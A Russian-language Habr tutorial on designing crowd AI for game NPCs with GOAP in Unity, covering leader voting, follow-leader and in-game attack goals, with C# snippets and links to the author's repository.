**Толпа (crowd)**, часто применяется в играх в качестве типа NPC для создания ощущения насыщенности игрового пространства, а также в качестве спасения CPU от постоянных вычислений. Толпа не является индивидуальным типом NPC и скорее всего не будет представлять высококачественное поведение каждой сущности по отдельности (кроме локальных взаимодействий и IK/анимаций).
Для работы с толпой нам понадобится сущность **лидера**. Лидер представляет собой основного юнита, внутри которого и будет происходить обработка всех расчетов вероятности.
С точки зрения GOAP и схожих механик, даже если вы пишете самопальную архитектуру ИИ, особой разницы не будет, концепция остается одной. Вкратце заключается она в следующем: в наличии есть сущность участника группы (скажем, ***crowd member***) и лидер группы (***crowd leader***). Лидер группы из основной своей выборки строит план действий, участники группы в свою очередь повторяют его действия и могут дополнять мелкой вариативностью.
Базовая архитектура
-------------------
В следующих статьях этой серии буду отталкиваться от простого примера, который начну в рамках этой статьи.
**1. Подготовка**
Итак. Нам нужна сцена, нам нужны капсулы, плоскость, навмеш и спавнер.
Для начала достаточно простой сценыОсновная идея заспавнить как можно больше NPC для создания толпы, но я хочу показать немного больше, чем просто лидера толпы. Я разберу несколько групп со своими лидерами и мы посмотрим как они взаимодействуют между собой и что будет, если лидер погибнет.
Поэтому каждая группа будет появляться в своей зоне и получит свой цвет: красный, синий и зеленый, а лидеры толпы будут темными оттенками своей группы.
**1. Архитектура GOAP**
Здесь все как в предыдущей статье, нам понадобится скелет нашего GOAP, чтобы его можно было расширять. Примерами кода засыпать здесь не буду, в репозитории сможете ознакомиться с подходом.
Вкратце по скриптам и что у нас есть:
• **AtomicGoals** - простейшие задачи, состоящие зачастую из одного действия и контролирующие статус выполненности цели.
• **CompositeGoals** - составные задачи, которые либо собирают несколько CompositeGoals, либо несколько AtomicGoals.
• **Core** - абстракции архитектуры.
• **Evaluators** - оценщики, смотрят на целесообразность выполнения действия глядя на условия мира.
• **Features** - утилиты для целей, например поиск героев вокруг.
• **Movement** - корневой функционал по передвижению. За основу взята логика steering movement из книги *"Programming Game AI by Example".*
• **NPCOfflineManager** и **OfflineNPC** - заглушки, касающиеся спавна NPC и обработки *ThinkGoal*.
**2. Дизайн интеллекта**
Если запустить игру где каждый будет индивидуумом, с определенным набором эвалюаторов, например *ExploreGoal, IdlingGoal, LookAtPlayerGoal* (базовый набор, который я рассматриваю в рамках статьи), то мы получим самостоятельные единицы, которые перемещаются или стоят в случайном порядке.
Спустя несколько секунд, NPC разбегается в разные стороны и начинают существовать обособленноЕсли мы создадим сотню игроков, каждый из них будет вести просчеты самостоятельно и это несомненно даст огромный удар по производительности (особенно если логика каждого NPC запутанная и имеет много выполняемых задач). Помня о том, что для создания толпы у нас должны быть сущности лидера и участника группы, следующий шаг это создать связь *лидер-участник группы*.
Технически лидер это каждый отдельный NPC, для создания участника группы есть два варианта:
1. Повторяем цели лидера без их оценки. Эвалюаторы всех задач NPC не будут использованы, а значит нагрузка на каждые N мс "мозга" не нужна;
2. Использовать систему уведомлений и совсем отдельную логику от GOAP для участников группы. Этот подход хорошо бы подошел для стаи птиц, где вожак выберет направление, а все остальные просто будут перемещаться за ним.
Так как я описываю GOAP, давайте его придерживаться до конца, плюс немного вариативности логике не помешает.
Идея чтобы каждый участник группы имел возможность быть лидером или определить лидера. Так как потенциально любой юнит может собираться в группы и что любой участник группы может быть лидером, нельзя отключать его от основной логики, поэтому оставим архитектуру нетронутой и немного преобразим код NPC.
Реализация логики толпы
-----------------------
**Шаг 1.** Для начала, распределим персонажей по цвету. Дальше нам понадобится возможность голосовать за лидера - можно добавить отдельный оценщик, который каждый тик будет оценивать необходимость голосования за лидера. Также в спавнере должен проходить контроль голосования и назначение лидера (чтобы избавить от этого самих участников голосования и избежать путаницы).
Обозначу основные правила, которые нужно учесть в такой схеме:
* Голосование происходит пока не истечет время на него, каждое голосование определяется уникальным ID по которому персонажи продолжают голосовать, пока не выберется лидер;
* Участники могут голосовать только один раз;
* Если лидер уничтожен, то голосование начинается заново;
* Лидером становится тот NPC, за которого проголосовало большинство;
Таким образом, каждая группа получает своего собственного лидера
Полный код спавнера
```
public class NPCSpawner : MonoBehaviour
{
// Лидер, доступ к которому имеют все NPC группы
public NPC GroupLeader {get; set;}
// Участники размещают свои голоса в книгу голосований
public Dictionary VoteBook = new Dictionary();
public GroupTypeEnum GroupType;
// ID для определения участниками текущего голосования
public Guid VotingId = Guid.NewGuid();
// Время нужное для определния голосования и таймеры
private float \_votingTime = 5;
private float \_lastVoteTime;
private bool \_voteRuns = true;
private void Update()
{
// Обычная система таймера и выборка из книги голосов
if (Time.time > \_lastVoteTime + \_votingTime)
{
if (\_voteRuns)
{
\_voteRuns = false;
var potentialLeader = VoteBook.FirstOrDefault(a => a.Value == VoteBook.Max(b => b.Value));
GroupLeader = potentialLeader.Key;
var leaderMaterial = GroupLeader.GetComponent().material;
if (leaderMaterial.GetColor("\_Color") != Color.white)
leaderMaterial.SetColor("\_Color", Color.white);
}
// Начать голосование при потере лидера
if (GroupLeader == null && !\_voteRuns)
{
\_lastVoteTime = Time.time;
\_voteRuns = true;
VoteBook.Clear();
VotingId = new Guid();
}
}
}
}
```
Код цели и эвалюатора
```
...
// Эвалюатор дает сигнал цели голосовать при смене айди
public override double CalculateDesirability(NPC bot)
{
if (bot.Home.VotingId == _lastVoted)
return 0;
_lastVoted = bot.Home.VotingId;
return 1;
}
...
```
```
...
public override GoalStatus Process()
{
if (Status == GoalStatus.Inactive) Activate();
var npcAround = NPCFeature.GetNearestNPCs(Owner, 10).ToList();
if (npcAround.Count == 0)
{
Status = GoalStatus.Completed;
return Status;
}
// Поиск случайного персонажа вокруг для голоса
// Возможно улучшить до эвристик (сила, здоровье, хар-ки)
var rndNpc = Random.Range(0, npcAround.Count);
if (Owner.Home.VoteBook.ContainsKey(npcAround[rndNpc]))
Owner.Home.VoteBook[npcAround[rndNpc]] ++;
else
Owner.Home.VoteBook[npcAround[rndNpc]] = 1;
return Status;
}
...
```
**Шаг 2.** Следующее, что необходимо сделать, это переработать эвалюаторы для работы только на лидерах.
Набор эвалюаторов выглядит следующим образом:
```
var evaluators = new List
{
new VoteForLeaderGoalEvaluator(1),
new ExploreGoalEvaluator(1),
new IdlingGoalEvaluator(1),
new LookAtPlayerGoalEvaluator(1)
};
```
После того как лидер был определен, мы переходим в рассчет цели **Explore**. Технически это поиск пути и выбор направления движения. Затем задачи **Idle** и **LookAt** (остановиться для "общения" возле героя, пример взят из боевого проекта, в рамках статьи не рассматривается, но как пример оставлю).
Добавим новый оценщик и цель ***FollowLeaderGoal***, она будет самой приоритетной для всех участников группы. Таким образом можно построить цепочку целей, которые выполняют лидеры или участники группы, при этом гибко перестраиваться, если внезапно один из NPC становится лидером.
```
...
public override double CalculateDesirability(NPC bot)
{
return bot.Home.GroupLeader == bot ? 0 : 1;
}
...
```
Логика здесь простая, движемся по выбранному направлению лидера если мы участник группы. Так как приоритет будет самый высокий, остальные цели не будут выполняться пока персонаж не станет лидером.
Лидеры движутся, юниты ждут командыПосле того как мы отделим эвалюаторы от лидеров, необходимо передать команду или цель движения всем участникам группы. Так как лидер не знает кто у него в команде, участники должны стучать к своему лидеру и его цели.
Передвижение становится сгруппированным и контролируемым лидером**Шаг 3.** Добавим немного геймплея - создадим новую цель уничтожения противника при тесном контакте с ним. Небольшой дизайн:
1. Атака противника будет приоритетнее движения за лидером;
2. Атака происходит на небольшом расстоянии и только с группой противника;
3. Шанс убийства будет 1 из 3 в случайном порядке, таким образом мы не сможем предугадать кто уничтожит противника, однако если на него нападет группа - шанс уничтожить одного юнита возрастает;
4. Атаковать может как лидер, так и участник команды, поэтому оставим это как цель для всех (назовем *AttackNearestTargetGoal*);
5. Для цели движения за лидером понизим приоритет эвалюатора до 0.9, а для атаки до 1, чтобы наверняка не продолжать идти за лидером в случае столкновения.
Расширил немного карту, лидеров перекрасил в темный оттенок. Персонажи готовы к боюПроверка толпы
--------------
Я не буду останавливаться здесь на подробностях юнит и интеграционных тестов, а также вариантах отладки ИИ в играх, выведу для этого отдельную статью.
А в этой, посмотрите, что в итоге получилось:
На видео можно заметить, как в самом начале лидеры вели свои группы в выбранных случайных направлениях. Синие с зелеными столкнулись в узком проеме и потеряли большинство участников группы, пока красные находились в стороне. Благодаря хорошей сгруппированности красных, они вели точечные нападения на противника и по итогу победили.
Также мы видим, что как только погибает лидер (отчетливо это видно в моменте уничтожения лидера красной группы участником зеленой группы) вся группа перестает реагировать на команды. Участники группы узнают об уничтожении лидера и затем все начинают этап голосования. Это параметр в секундах, голосование идет мгновенно, добавил задержку для четкого отображения процесса голосования.
Исходники кода прикладываю в дополнительных материалах.
### Вывод
Проектирование непредсказуемого интеллекта это сложный творческий и технический процесс. Необходимо быть не только подкованным с точки зрения разработки, но и понимать как это будет выглядеть в конце, так как в архитектуре ААА уровня практически нет шанса на ошибку, в проектах разрабатываемых несколько лет не будет возможности переделать половину архитектуры если чего-то не учитывали.
Также следует понимать, что я рассматривал в этой статье комплексную толпу с возможностью голосования за лидера и вариантах, когда этот лидер погибает толпа сможет найти нового лидера. В военных и стратегических симуляторах, зомби играх такой подход бы подошел отлично, однако в большинстве шутеров, а в особенности одиночных играх в этом нет необходимости (толпе зачастую лидер не нужен, участникам достаточно раздать краткое дерево с возможными задачами).
Нет необходимости строить сверхсложную архитектуру, чтобы игрокам было интересно. Однако если это даст игрокам новый опыт и соответствует геймдизайну, то почему бы и не попробовать.
В следующих статьях я продолжу разбирать тему проектирования непредсказуемого интеллекта в играх, а за примерами кода интеллекта толпы переходите по ссылке GitHub в дополнительных материалах.
### Дополнительные материалы
1. <https://github.com/StanKryvenko/goap_development> - исходники проекта, в будущем будет расширяться новыми демо, по этой статье папка называется Crowd;
2. [stannot.es](http://stannot.es) - мой блог о разработке игр, торговых ботов и размышления о будущем;
3. <https://www.youtube.com/watch?v=gm7K68663rA> - неплохой материал по GOAP техникам на конференции GDC;
4. <https://www.youtube.com/watch?v=Wb84Vi7XFRg> - разбор игры стратегии Command & Conquer, как еще можно реализовать интеллект в подобных играх. | https://habr.com/ru/post/654601/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.